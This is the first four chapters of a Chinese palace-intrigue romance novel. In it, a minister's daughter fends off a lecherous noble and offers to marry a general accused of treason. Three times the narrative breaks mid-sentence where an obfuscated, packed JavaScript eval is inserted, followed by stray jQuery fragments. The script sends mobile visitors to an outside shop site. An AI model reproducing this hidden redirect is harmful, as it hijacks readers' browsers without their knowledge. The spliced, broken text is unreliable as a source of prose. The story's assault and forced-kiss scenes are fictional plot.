《嫁罪臣》


 1. 造次

    从嫁进镇北侯府的那天起，所有人都在盼着姜絮和离。


    那是开春的头一个晴天，料峭微风裹挟杏花飞絮，黏在姜絮的鬓角，她皱着眉头轻轻拂掉。


    “二公子说了，姑娘虽是庶女，却也是个伶俐人，若肯屈尊做二公子的良妾，往后穿金戴银，享不尽的荣华富贵。”


    说话这人，是穿着青绸长衫的中年管事。


    身后跟着两个小厮，抬着沉甸甸的锦盒，锦盒已被打开，满盒的赤金首饰，珍珠宝石，晃得人眼花缭乱。


    而他口中的二公子，则是忠勇侯府的嫡次子李径。


    李径自小被侯夫人宠得骄纵蛮横，处处为非作歹，专挑家世尚可但身份又不够硬的女子拿捏，觉得纳高门庶女为妾，是对对方的“恩赐”。


    年前姜絮去栖云寺礼佛，与他有过一面之缘。


    当时他带着几个小厮，将一个素衣布裙的姑娘堵在角落，说要纳她为妾。


    谁知那姑娘性格刚烈，扬手就是一巴掌，硬生生在他脸上落下五个通红的指印：


    “登徒子！竟敢在佛门造次！”


    李径气极反笑，那点笑意半点没达眼底，只扯了扯嘴上的皮肉：


    “有点意思……不过是个刺史家的庶女，竟也敢……”


    话放到一半，却被惊呼声打断。


    姜絮装作一不小心闯入现场的样子，眼里飞快掠过一丝惊愕，身后的婢女青荷顺势往她身后躲，尖声叫道：


    “啊——”


    姜絮故作捂嘴，忙不迭拉着青荷转身，虽是狼狈逃窜，但动静过大，引起众多香客逐渐朝角落聚过来凑热闹。


    李径只能作罢，放了几句狠话，扬长而去。


    那个时候，姜絮没有回头，只觉得后脊一阵寒意，他似乎看穿了她无意之举里的有意。


    再后来，姜絮听说那个被李径围堵的刺史家的庶女，其实早已出家，在栖云寺带发修行，只是不幸被李径看上了，李径便以她的刺史父亲作为要挟，逼她还俗嫁入李家为妾，算是他的第四房小妾。


    谁知婚后不过半月，他竟又盯上了姜絮。


    姜絮是户部尚书的庶女，身份不如嫡女尊贵，但也不至于被忠勇侯府的嫡次子拿捏。


    那日她敢横插一脚，自是权衡之后的抉择。


    “《大兖律》有云，良妾须得父母之命，媒妁之言，三书六礼虽简，却必不可少。”


    “二公子既无家父手书，亦无官媒登门，只派管家送些财务便要我做妾。”


    “传出去，外人会说忠勇侯府强逼世家女为妾，不知侯府的清誉，担不担得起呢？”


    姜絮几句话怼得管家哑口无言，留了句日后还会登门拜访，便悻悻离去。


    看样子，是不达目的不罢休。


    但姜絮也并非善茬。


    管家前脚刚走，身后的青荷就忍不住抿嘴笑：


    “姑娘，这都是这个月回绝的第五家了。”


    “城南的张员外，城西的举人老爷，御史台的李大人，还有江南盐商世家的王公子。”


    “姑娘当真没有喜欢的吗？”


    姜絮埋头沉思。


    她长得不像嫡姐那般明艳灼人，她属于清淡如水的类型。


    眉眼细长，眼尾微微上挑，不笑时透着几分清冷倔强。她的皮肤白皙，两颊透着淡淡的茜粉，似出水芙蓉般柔若无骨，只是她骨子里又似藏着一股出尘的气质，让人只是远观便觉得如谪仙下凡。


    不知是谁，先传了谣言，说尚书府的二姑娘是“京城第一美娇娘”。


    刚踏入适婚年纪，便有数不清的婚聘纷至沓来。


    不过都是些趋炎附势之人罢了。


    “这也算一家么？”姜絮嘲讽，绕过了另一个问题。


    至于喜欢，怎样才算喜欢呢？


    像姜若雪那般为爱求而不得日渐消瘦算是喜欢吗？


    大约一年前，姜絮在后花园散步，听到假山后面姜若雪哀求的声音传来：


    “爹爹，女儿是真心喜欢叶淮生。您去求求陛下，赐一道婚书，女儿便此生无憾了。”


    “若雪，婚姻大事，岂可儿戏？你是尚书府的嫡女，陛下自会为你赐一道门当户对的良缘。”


    “可我就是喜欢叶淮生嘛！爹爹您是户部尚书，陛下倚重，只要您开口……”


    “住口！”姜衡气得原地踱步，沉声道：


    “叶淮生是镇北候，手握重兵的护国将军，陛下对他本就有几分忌惮。我身为朝廷重臣，此时若是去求婚，在外人看来，便是结党营私，是拿朝廷的俸禄，谋自家的私利！”


    透过假山的缝隙，姜絮看见一向高傲的姜若雪怔怔地站在原地，脸上滑落两行清泪，浇灭了她满心的欢喜与期盼。


    原来嫡女也会因婚事而恼么？


    身份尊贵也是一种错么？


    还是说，世间女子的婚姻大事，本就身不由己。


    镇北候。


    原来姜若雪喜欢镇北侯。


    她虽久居深闺，但也听府中人谈起过镇北候的赫赫威名。


    三年前，北狄以和亲为饵，暗率三万铁骑叩关，围困云州数月。


    镇北候亲选三千锐士，皆披白裘，举冷月狼牙旗，暴雪夜袭敌军后方。


    他孤身一人，斩落北狄主将头颅，将狼牙旗插在王帐穹顶，北狄大军不战自溃。


    消息传回京城，镇北候一时之间风头无两，成了整个京中贵女圈绕不开的话题。


    谁都知道，他不仅是战功赫赫的侯爷，更是圣上倚重的股肱之臣。


    他出身草莽，年少成名，一杆长枪横扫北疆。模样又生得冷峻硬挺，风骨凛然，透着一种生人勿近的凌厉。


    这般人物，哪个少女不心生羡慕？


    据传，当时请婚的婚书太多，镇北侯日拒婚书三百封。


    姜若雪会心动，姜絮并不感到意外。


    自求嫁镇北候不得后，姜若雪便茶饭不思日渐消瘦。姜衡见情况不对，为了女儿的性命，冒死向圣上求赐婚，岂料镇北候先拒绝了，理由是怕辱没了尚书府的门楣。


    “户部尚书的嫡女，自然是金枝玉叶，清雅端庄。微臣不过一介流连烟花巷柳的粗人，名声早就烂透了，实在不配。”


    镇北候此言一出，不仅拒绝了尚书府，更是拒绝了一众世家清白的高门贵女。


    宁愿自污身份，也不愿勉强求娶她人。


    真不知，究竟有谁能入得了镇北侯的法眼？


    眼见着镇北候势力渐大，名声日盛，圣上即使有意赐婚钳制，也因此事暂时搁置。


    直到今日，姜絮擅自拒绝了李径的纳妾之举，想着到前厅去，找个时机，随口给爹爹提一句，免得落人口实。


    她才刚走到穿堂，就被廊下的侍卫抬手拦住：


    “二姑娘，大人正在与几位同僚议事，不便打扰。”


    姜絮脚步一顿，正欲离去，前厅里的议论声顺着风飘过来：


    “连失云州三座城池，损兵折将，粮草被焚，此等罪责，圣上岂会轻饶？”


    “已有人在传镇北候故意纵敌，通敌叛国，镇北候此次恐怕是真的是自身难保。”


    “姜兄，你真的是好运气，得亏去年没有把嫡女嫁过去。”


    “如今镇北候身陷通敌嫌疑，满朝文武人人都避之不及。你这一步，可真是走对了！”


    听闻此言，姜絮紧张得手心冒出了汗，只觉得后脊发凉，来时的那点小心思，瞬间被这石破天惊的消息碾得粉碎，悄无声息地退了回去，连脚步声都不干重半分。


    镇北


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058370|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    候。


    通敌叛国。


    怎么会？


    姜絮轻轻摇头，觉得这件事不可思议。但也没往心里去，只是好奇，姜若雪要是知道了这事，会作何感想。


    -


    西跨院的窗棂斜斜漏尽半缕残阳，姜絮搁下笔时，宣纸上的小楷墨迹刚干。


    她抄了一下午的名家尺牍，腕间泛着酸，正揉着胳膊起身，就听见院外青荷催她用晚膳的声音。


    她应了一声“随后便到”，理了理鹅黄襦裙的衣角，往月洞门的方向走。


    这条小径偏僻，两旁栽满了爬墙虎，枝叶缠得密不透风，只是经过都觉得空气有几分沉闷。


    刚转过拐角，一道人影突然横在面前。


    李径背倚着墙，手里把玩着一柄镶金折扇，嘴角勾着油腻的笑：


    “二姑娘，可算等到你了。”


    姜絮脸色一白，往后退了几步，眼神警惕地看着面前不怀好意之人：


    “这里是尚书府内院，你一介外男……”


    “听闻二姑娘近日好生抢手，京中多少人踏破了门槛也见不到一面。”李径打断她的话，目光黏在姜絮身上，眼神里带着毫不掩饰的轻佻：


    “上次栖云寺匆匆一瞥，二姑娘素衣布裙，难掩国色天香。今日再见，终知坊间流言不假，果真是‘京城第一美娇娘’。”


    说着，他上前一步凑近她，酒气混着脂粉气扑面而来。


    不等姜絮后退，他伸手捏着她的手腕，指尖冰凉惹得姜絮一阵战栗：


    “放开我！”


    姜絮气得浑身发抖，扬手就要扇过去，手腕却被李径死死钳住，动弹不得，整个人被他硬生生往墙上推。


    后背撞上冰冷墙面的刹那，姜絮疼得倒吸一口冷气，腕骨几乎要被捏碎，想要挣扎，却被压得更紧。


    “装什么贞洁烈女？本公子看上你是你的福气！”


    李径怒吼着，另一只手猛地扣住姜絮的下巴，逼着她抬头，酒气熏天的呼吸喷在她脸上：


    “本公子今天就要了你……”


    话音未落，他便俯身朝着姜絮的唇瓣狠狠凑了过去。


    千钧一发之际，姜絮脑中一片空白，她咬紧牙关，猛地仰头，额头狠狠撞向他的鼻梁。


    “啊——”李径疼得惨叫出声，扣着她下颌的手瞬间松了力道。


    趁他吃痛的瞬间，姜絮抬脚便向他的下半身踢去。


    这一下又快又狠，用尽了浑身的力气，顿时疼得他脸色煞白，捂着裆部蜷缩在地，嘴里却还在污言秽语地骂着一些不堪入目的话。


    姜絮扶着墙喘着气，额头还在隐隐作痛，眼底却燃着一簇不屈的火苗。


    虽暂时逃离了虎口，她却不知该怎么向父亲交代。


    李径是忠勇侯府的嫡次子，这事绝不会轻易了结。


    今日他敢在尚书府内如此放肆，往日只会变本加厉。


    更何况，父亲正为朝堂之事烦扰，她又怎能拿这些糟心事去添堵。


    通往正院的路不长，她却走得格外慢，每一步都像踩在棉花上，满心的惶恐与不安。


    自十年前娘亲去世后，她自知在这府中孤立无援，早已学会了要隐忍蛰伏，自立自强。


    可今日之事，她有太多的怨愤与心酸要讲，只是无人可倾诉。


    晚风掠过，吹落几片树叶，她伸手轻轻接住。


    此时的她，和零落的叶，并无二样。


    “二姑娘！出事了！”青荷从走廊拐角处跑过来，语气急促：


    “大小姐在前厅和老爷吵起来了！”


    姜絮心下一沉，当即反应过来，莫不是因为镇北候那事，随即心里又泛起一丝酸涩与艳羡。


    她已经很多年，没有这般肆无忌惮地与父亲进行争吵了。

 2. 引诱

    姜絮一边快步跟上青荷，一边听青荷讲着前厅的事由。


    赶到前厅的时候，正听到噼里啪啦陶瓷玉器被砸碎的声音，接着便是姜若雪声嘶力竭的哭喊：


    “爹爹，你误了我一辈子！”


    “你与那镇北候本就无缘！”姜衡忍着怒气回她，似缺了分底气。


    镇北侯的事，莫不是父亲的错？


    姜絮小心翼翼踱到门口，见姜若雪站在厅堂中央，离圈椅上的父亲不过三步之远。


    而她通红的眼眶里满是毫不掩饰地恨意，撞上姜絮关切的眼神时，她才软了一下，张了张嘴，似乎想和姜絮打招呼，但又碍着此时尴尬的场景，说不出话来。


    姜絮主动上前，抱着姜若雪的肩膀，轻声喊了句：


    “阿姐……”


    姜若雪性子急躁，但平日和姜絮的关系还算融洽。此时姜絮上前安慰，她便心下一软，脑袋歪到姜絮的肩膀上，抽抽嗒嗒哭着，温热的泪水濡湿肩上一片。


    若镇北候只是被诬通敌叛国，她也不至于哭得这么伤心。


    此事另有蹊跷。


    姜絮拉着姜若雪攥得发白的手腕，眼神转向姜衡，语气多了几分坚定：


    “父亲，阿姐只是一时情急，她素来敬重您……”


    话没说完，便被姜衡生硬打断：


    “敬重我？只要一提到镇北候，她连她自己是谁都忘了。”


    说着，又冲姜若雪指指点点，骂道：


    “你知不知道你已经嫁进了定远侯府？你现在是霍小侯爷的妻子，整天还做着嫁给镇北候的梦！”


    姜絮听得一愣，不是通敌叛国吗？


    怎么突然开始讨论起嫁娶之事来了？


    看出姜絮眼里的困惑，姜衡也不瞒着，解释道：


    “镇北候失了云州三城，被弹劾有通敌卖国的嫌疑。


    “碍于他劳苦功高，圣上不敢轻下定夺，但也不能不给朝臣一个交待。


    “于是想找个清流世家的姑娘赐婚，算是为他做背书。”


    怪不得姜若雪会气极至此，她嫁入定远侯府不过半年前的事，若是她当时再执着些，此时便可名正言顺地嫁给镇北候。


    怪不得她说，误了她一辈子。


    “只是……”姜衡顿了下，眼神踌躇，继续说道：


    “现下没有哪个清流世家愿意把女儿嫁给他，通敌叛国之罪，一旦定罪便是死罪，没有人愿意冒这个险。”


    听闻此，姜絮感觉到肩上的姜若雪哭得更甚，不仅是为了不能嫁给意中人，更多的是为不能救意中人。


    只能眼睁睁看着他跌落泥潭，遭人唾骂，贬低，排挤，她却只能在这里偷偷抹泪。


    “这通敌叛国之罪一旦坐实，会牵连女眷家族吗？”姜絮问道，她想再确认一遍。


    她研究过《大兖律》，高门清白庶女，嫁与戴罪之臣，若罪名昭雪，则可借罪臣权势翻身，飞上枝头变凤凰；若罪名坐实，亦不牵连女眷家族，只是罪臣寡妻的名声比较难听罢了。


    而名声于她，犹如草芥。


    姜絮此言一出，姜若雪，姜衡，以及收拾残局的丫鬟仆人都朝姜絮看来。


    姜衡并未察觉她的意图，回道：


    “自然不是，清白世家不过是为他争取暂缓审判罢了。


    “最后若他真的定罪，世家女子及家族可免受牵连，但毕竟是姻亲，会在族谱上留下污点。”


    哦。


    原来为了避免所谓的污点，偌大的朝堂，没有一个自称清流世家的家族愿意站出来，为一个蒙冤的护国将军做背书。


    “父亲。”姜絮做了个郑重的决定：


    “我愿意嫁。”


    她已经惹怒了忠勇侯府，与其等着他找上门来，不如先行逃离。


    既然人人都对镇北候避如蛇蝎，那她便去那蛇蝎之地，寻个清净。


    “不可——”


    “不可——”


    姜若雪与姜衡两人几乎同时出言制止。


    “絮儿，你性格纯良，而那叶淮生是个冷硬之人，为父和他打过交道，他几乎不通人性，你嫁过去，会受委屈。”


    姜衡到底还是心疼他与结发夫妻的独女。


    十年前，柳静姝去世，当时的姜絮年仅七岁，眉眼已经有了她娘亲的样子。


    姜衡忍受不了丧妻之痛，索性连姜絮都避而不见。


    如今十年过去，姜絮出落得越发像她娘亲。


    姜衡怎么可能将姜絮送到那火坑里去。


    “人人都对那镇北候避而不及，怎么偏偏我的两个女儿都要上赶着送！”姜衡越想越气，连带着又把姜若雪骂了。


    而姜若雪，则是猛地从她肩膀上抬起头，眼神决绝：


    “姜絮。”


    她没有叫她小妹，而是直呼她的名字，在姜絮印象里，这还是第一次。


    “别逼我恨你。”


    姜若雪咬牙切齿五个字，切断了姜絮所有的念想。


    姜絮清楚，她的这个长姐，为了达到目的，无所不用其极，连父亲都不放在眼里，她不过一个庶出的妹妹，更是轻松拿捏。


    她也不知哪里来的勇气，回道：


    “阿姐，你恨我我也得嫁。”


    在姜若雪不可置信的眼神中，姜絮认真解释道：


    “我不嫁的话，他就真得死了。”


    通敌叛国，一旦罪名坐实，便是满门抄斩，即使有圣上承诺，不会牵扯到清流世家，但绝不会有人冒这个风险去救一个本就不通人性的将军。


    折了一个将军，还会有千千万万个将军。


    偌大的兖朝，除了姜若雪，没有人会为他的生死落泪。


    “阿姐你放心，小妹此举只是为了救他。若他无罪，我便与他和离；若他有罪，我便守活寡。”


    也好断了那些上门提亲之人的念想。


    再者，这个决定里面，本就藏着她的一点私心。


    姜若雪被姜絮说动，跪在地上，眼角泪花都还没有干，嗓音嘶哑地说道：


    “求父亲成全。”


    姜絮也跟着跪在姜若雪身旁：


    “求父亲成全。”


    “胡闹！”姜衡气得抚掌拍了几下桌子，怒道：


    “姜家家风世代清正，这一嫁过去，若他镇北候真的坐实了罪名，那姜家岂不要添一个谋逆同党的帽子。”


    “即便圣上特旨，姜家不受牵连，但这姻亲却是白纸黑字写进族谱的污点。”


    “父亲。”姜絮难得语气正经，语气里多了几分义正严辞：


    “不是因为没有污点所以才家风清正，而是因为家风清正，所以不怕有污点。”


    “镇北候之事，父亲若是愿意站出来，便是不顾名利，为君分忧的忠良。”


    听姜絮语毕，姜衡猛地抬头，看着眼前的女儿。


    印象里的絮儿，是会追着蝴蝶满院跑的小疯子，是闯了祸就躲在若雪身后撒娇的小可怜，是说话时总是语出惊人不谙世事的天真


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058371|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    可此时，跪在他面前的人，眉眼沉静，眼底藏着与年龄不符的笃定，就连紧攥着的手，都稳稳当当，不见丝毫慌乱。


    他忽然觉得陌生。


    但这陌生中，又透着一股说不出来的熨帖。


    她当真是和她娘越来越像了。


    “你……”姜衡喉结动了动，竟一时不知该说些什么。


    -


    姜衡递了求嫁的折子，不过半日，宫里便传了口谕宣姜絮进宫觐见。


    几番交谈后，圣上怜她一片痴心，特旨令她入镇北候府，与镇北候见一面再论订婚之事。


    侯府门外禁军林立，煞气沉沉，内侍引着姜絮入府，一路只闻森森风声，不见半分人气。


    刚转过抄手游廊，忽闻金戈铮鸣之声，震得人耳膜发颤。


    姜絮心头一紧，忙闪身躲在朱红廊柱后，偷眼望去。


    院中青石地上，叶淮生一身墨色劲装，长发高束，手中长枪舞得银虹匝地，卷起满院落叶纷飞。


    虽为软禁之身，周身杀伐煞气却分毫未减，一招一式都带着破釜沉舟的狠劲。长枪落地，石砖竟裂出细纹，分明是郁气难平，以长枪泄愤。


    在他身后的廊下，肃立两名带刀侍卫，俨然一副监视之态。


    忽然，叶淮生锐利的目光骤然扫向廊柱方向，戾气直透过来。


    他手腕猛转，银枪脱手而出，带着破空的锐响，“铮”的一声，狠狠扎进廊柱。


    枪尾嗡嗡震颤，离姜絮藏身之处不过半尺。


    姜絮吓得浑身一僵，鬓边步摇轻晃，身后的青荷早已吓得跌坐在地，可她转瞬便定了神，压着砰砰乱跳的心脏，缓步从廊柱后走出。


    非但未逃，反倒抬眸直直对上叶淮生阴沉慑人的目光，神色自若地福了福身：


    “小女姜絮，见过侯爷。”


    叶淮生缓步上前，踏着落叶，沙沙声都带着寒意，周身戾气直逼过来。


    他在她身侧站定，垂眸睨她：


    “户部尚书姜衡？”


    “正是家父。”姜絮回道。


    此话一出，叶淮生眸色骤沉。


    他想起一年前，姜衡便求着圣上赐婚，如今一年后他都已成这般模样，竟还上赶着把女儿送过来，究竟作何居心。


    他一把抓起她的手腕，狠狠地扣在廊柱前，沉声逼问：


    “你们究竟有何目的？”


    姜絮手腕吃痛，后背抵在生硬的漆红柱面上，挣扎不出一丝力气，却仍旧心中清明，瞟了眼对面廊柱下按刀待发的侍卫，故意娇嗔着说道：


    “侯爷，你弄疼我了～”


    “找死！”


    叶淮生忽然欺身逼近，胸膛几乎贴上她的肩膀，周身的杀气混着怒气铺天盖地压下来，眼神阴鸷狠戾，死死锁着她的眼。


    手上力度又加重三分，几乎要将她柔若无骨的的手腕一把掐断。


    他还没看明白她究竟作何意思，就见被他欺身压着的她，忽然抬眸，眸中雾水濛濛，眼尾还带着被他弄疼了的红。


    她微微仰头，一脸娇羞，凑得极近，鼻尖几乎要碰到她的下颌。


    他以为她在引诱。


    却听见她的娇羞软语之中，藏着一丝透骨的清冷：


    “吻我。”


    她的唇瓣几乎擦过他的耳廓，温热的气息顺着耳尖窜进心底，挠心口竟有些发痒，他正欲厉声呵斥，垂眸却撞上她噙着笑意的算计：


    “要是想活命的话。”

 3. 交锋

    一边是两颊绯红，眼波流转的娇羞媚态，似在勾引；一边是眼神坦荡、语气凛然的义正严辞，似有丘壑。


    两种神态，揉在一张清丽的脸上，竟一点也不违和。


    叶淮生阴沉的眸中闪过一丝错愕，俯身逼近，温热的气息扑在她脸上，薄唇堪堪凑到她唇角，她便感到一股无法抗拒的压迫感。


    他扣着她的手腕猛然收紧，另一只手狠狠托住她的后颈，力道大得她脖颈作疼，不容她半分闪躲，欺身狠狠咬住她的唇。


    他的薄唇碾着她柔软的唇瓣，力道凶戾，齿间毫不留情，似要将她这副假意逢迎的模样狠狠撕碎一般。


    姜絮猝不及防，瞳孔骤缩，心头的计划瞬间乱了。


    她本意只是让他亲一下，蒙骗一旁监视的侍卫，好让她到圣上那里交差，谁知他竟当了真，吻得这般凶狠。


    她想挣扎，可手腕脖颈都被死死钳制，动弹不得，只能由着他在她唇上狠狠肆虐。


    唇瓣被咬破，清晰的痛感与铁锈味一同在唇齿间蔓延，委屈的泪水不受控制地涌了上来。


    他察觉到唇间的湿意与血腥之中，多了一丝咸涩，略微抬眸，却见她泪珠滚落，一滴一滴砸在交缠的唇齿间。


    不知为何，他突然怔住，眼底的狠戾淡了一瞬，但也只是一瞬，随即吻得更用力。


    他认定她是贼心不死浪荡攀附的女子，每一下啃咬都带着碾碎般的力道，不知是惩罚她的不知廉耻，还是宣泄对她没原由的恨意。


    许久，他才猛地松口，狠狠甩开她。


    姜絮踉跄跌坐在地，捂着还在渗血的唇。


    她面色如纸，脸上的媚态荡然无存，只剩抬眼望他时，眼底一股子不服输的倔强。


    原以为她会哭着求饶，没料到她竟这般硬气，


    叶淮生居高临下睨着她：


    “你走吧，本侯绝不会要一个主动送上门的女人。”


    话音刚落，一旁被吓得呆滞的青荷忙抹了把眼泪，颤颤巍巍爬到姜絮身旁，刚搀着她站起来，却又被她一把推开。


    姜絮的眼尾泛红，眼里还挂着泪水，却死死盯着叶淮生转身离开的背影，她背脊挺直，脸颊苍白却神色凛冽。


    她抬手，指尖轻轻撩开胸前衣襟：


    “那这样呢？”


    叶淮生以为她又要耍什么花招，不耐烦地回头，却见她袒露的颈间赫然挂着一枚沾着血的狼牙。


    他猛地走近几步，眼神死死钉在那模糊血迹下的“月”字小篆，一眼认出这是冷月狼牙令，而且是他最信任的亲卫统领卫珏的令牌。


    “你怎么……”


    “嘘……”姜絮出声制止，缓缓放下衣襟，狼牙令重归衣内，眼底倔强未减，却添了几分冷嘲：


    “现在呢？”


    “侯爷还要不要我？”


    她的声音不大，却字字清晰，三言两语便扭转局势，现在满身狼狈的人成了他叶淮生。


    眼底的阴沉散尽，凶戾化作忿恨，他喉间发紧，语气里带着故作轻松的妥协：


    “既然你执意要嫁，那你记住：本侯若能沉冤昭雪，第一件事便是与你和离。”


    如此甚好。


    姜絮垂眸应道：“小女谨记。”


    姜絮面上恭谨，却在转身离去的时候，脸上闪过一丝不易察觉的轻快。


    直到被青荷搀扶着上了马车，姜絮才发现后背仍浸着薄汗。


    方才叶淮生那狠戾决绝的眼神像梦魇一般缠在心头，她抓着青荷的手，肩膀微微颤抖，此时才后知后觉般心有余悸。


    她刚刚好像……在威胁……镇北候。


    她怎么敢的啊！


    那银枪，若是再偏一点，都直接扎她脑门了。


    想想都可怕。


    说难听点，不通人性。


    说好听点，性子耿介。


    在御书房觐见圣上的时候，圣上就跟她说过：


    “镇北候素来性子耿介，纵使是朕下旨赐婚，他也不一定会奉旨成婚。”


    “所以朕需要你，让他接受你，只要他能接受你，便可先保他一命。”


    不是圣上下令彻查的吗？


    为何圣上却又要保他一命？


    听他的语气，似乎对镇北候的信任多于怀疑。


    姜絮心有疑虑，但仍领旨谢恩。


    去镇北候府前，她先去了趟昭狱。


    昭狱里关着诸多镇北候府的部将，昔日跟着镇北候横扫北疆的忠勇将士，此时却沦为了任人宰割的阶下囚。


    有的断肢外露，伤口溃烂发黑，有的脖颈锁着粗重的锁链，被狱卒拽着在地上拖行，殷红的血迹在地上拖出长长的血迹，血腥味浓得化不开。


    如此惨状刺得人眼睛生疼，她不忍细看，闭上了眼，却不断有凄厉嘶哑的惨叫声传来。


    她捂着嘴强忍着干呕，泪水已模糊视线，却又逼着自己睁大眼睛，死死记住眼前每一张痛苦的脸，每一处狰狞的伤口，每一缕不屈的目光。


    她要将这血腥惨状刻进心底。


    她虽是深闺女子，但仍知家国大义，她不懂朝堂争斗，尔虞我诈，但她知道保家卫国的忠勇将士，不应落得这般生不如死的下场。


    那一刻，她攥紧拳头，指甲深深嵌进掌心，疼得她几分清醒，想救人的心情达到了顶峰。


    而此时，她指尖轻抚唇角，刚碰到滚烫发肿的唇瓣，便疼得倒吸吸一口冷气，满脑子只有一个念头：


    还不如让他死了呢。


    -


    马车离开镇北侯府约半里地，刚拐过巷子口，辕马突然受惊扬蹄长嘶，车厢剧烈晃动，姜絮抓着车壁勉强稳住身形，与一旁吓得脸色发白的青荷相视一眼，心下一沉。


    姜絮掀起门帘一角，瞥见窗外四五小厮，收回眼神时一不注意与为首的打了个照面，是前几日送了锦盒来“提亲”的忠勇侯府二公子的管家。


    对方故作谦恭地说道：


    “姜二姑娘，我家公子寻得一饼前朝贡茶，知晓姑娘精于茶道，特请城郊松风茶寮小坐品鉴，聊表往日唐突歉意。”


    松风茶寮，位于栖云寺后山清幽处，常为文人墨客踏春时的落脚地。


    本是一处清净雅致的地方，但“往日唐突”几字让她想起了前几日之事，顿时又泛起一阵恶心。


    得了姜絮的眼神示意，青荷隔着门帘回道：


    “我家姑娘才疏学浅，不通茶道，想必公子是认错人了。”


    随即又命令车夫驾马前行，只是马蹄堪堪踏出几步，又停了下来，车夫为难道：


    “二小姐，他们不给让路。”


    “绕路。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058372|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”姜絮吩咐。


    打不过躲得过。


    随车配有两个小厮，又是光天化日之下，她不信对方敢做出什么逾矩行为。


    “二小姐，他们把路都堵了。”


    姜絮揉着太阳穴，只觉得一肚子窝火，刚被叶淮生气得半死，现下又被李径这个登徒子堵着欺负。


    她这辈子当真是与男人有仇。


    见马车内的姜絮久久没有出声，管家又开口道：


    “我家公子说了，只是想诚心诚意给姑娘道个歉，还望姑娘给个面子。”


    诚信诚意？


    有这种诚心诚意的？


    姜絮铁了心不让步：


    “你们堵着我也没关系，只是到时候圣上怪罪下来，你们不怕掉脑袋就行。”


    “圣上？”管家明显见惯了风雨，并没有被“圣上”二字镇住，反问道：


    “二姑娘莫说笑了，二姑娘乃深闺女子，如何见得圣上？”


    意思是吓唬人也得编个像样的理由。


    话音刚落，周围的小厮都跟着发出嘲笑，跟着李径为非作歹惯了，仿若一点没瞧见马车两侧木牌上明晃晃的“尚书府”三字。


    姜絮倒也不恼，着青荷掀了帘子，缓步走下马车，挺直脊背，目光逼视，走到假意谄媚的管家面前：


    “忠勇侯次子好大的胆子！”姜絮一手扬起明黄绢帛手谕。


    “此乃陛下亲写手谕，命臣女回宫复命，尔等率家丁拦尚书府车驾，辱朝廷命官之女，意图抗旨，还是欺君？”


    绢帛堆叠，虽看不清字迹，但帝印鲜红夺目，所及之处，一干人等莫不统统下跪。


    原来这就是天子的威慑力。


    如今倒也让她狐假虎威了一回。


    姜絮正欲收回手谕，却一个疏忽没注意，被跪地而起的管家得了先机：


    “这手谕定是你伪造的，我忠勇侯府岂容你构陷！”


    管家大声呵斥，伸手便抢，又给其他家丁使了眼色，数名家丁立刻如饿狼扑食般涌上来，姜絮吓得惊慌失措，连连后退，立马甩了那棘手之物。


    手谕被甩到空中，家丁们蜂拥追逐，却不料被一个黑衣蒙面人踩着垫背，飞身跃起，扬手便抓住那明黄手谕，再一个腾飞翻转，黑衣人影便跃到了屋顶上空。


    只留下没抢到手谕却互相撞到胳膊鼻子眼的家丁，发出“哎哟”的惨叫。


    姜絮捂着胸口，靠在马车旁，惊魂甫定，最后只看见一道瘦削的黑影在檐上穿梭，最后消失在远处天际。


    这人显然蹲守已久，如果不是忠勇侯府的人，那必然是来蹲守她的人。


    只看戏，不出手，见到有用之物抢了便走。


    这派作风，竟让姜絮无端想到了镇北候府的那位。


    既然那位还被软禁着，那这位，想必就是那位的外应。


    看来镇北候，并没有没落成她想像中的样子。


    他似乎还在挣扎。


    姜絮攥紧袖口，心里想到了什么，计上心来，正欲离去，却听得身后管家穷追不舍：


    “姜二姑娘……”


    “闭嘴！”姜絮厉声打断。


    她等的就是此刻。


    一群蠢货。


    她本来没想这么早收拾他们，既然已经送上门来了，那她便却之不恭。

 4. 做主

    姜絮后退几步，躲在青荷和另一家丁的身后，一反往日脾气温吞的姿态，从衣襟间摸出一枚鎏金鱼符，紧紧攥在手中，高举过头顶，义正严辞道：


    “依《大兖律》，抢圣上之物者，判大不敬罪，全家夺爵，男丁充军，女眷入奴籍，永世不得翻身！”


    “你们再敢上前一步，是嫌死得还不够快吗？”


    鎏金鱼符在夕阳余晖下泛着金属光泽，符身刻龙凤纹，正是圣上亲信才可持有之物。


    饶是管家再想故技重施，也只是望着这货真价实的鱼符惊得说不出话来，一下子跪倒在地，颤抖着指尖指着姜絮说道：


    “你……你……你竟然……”


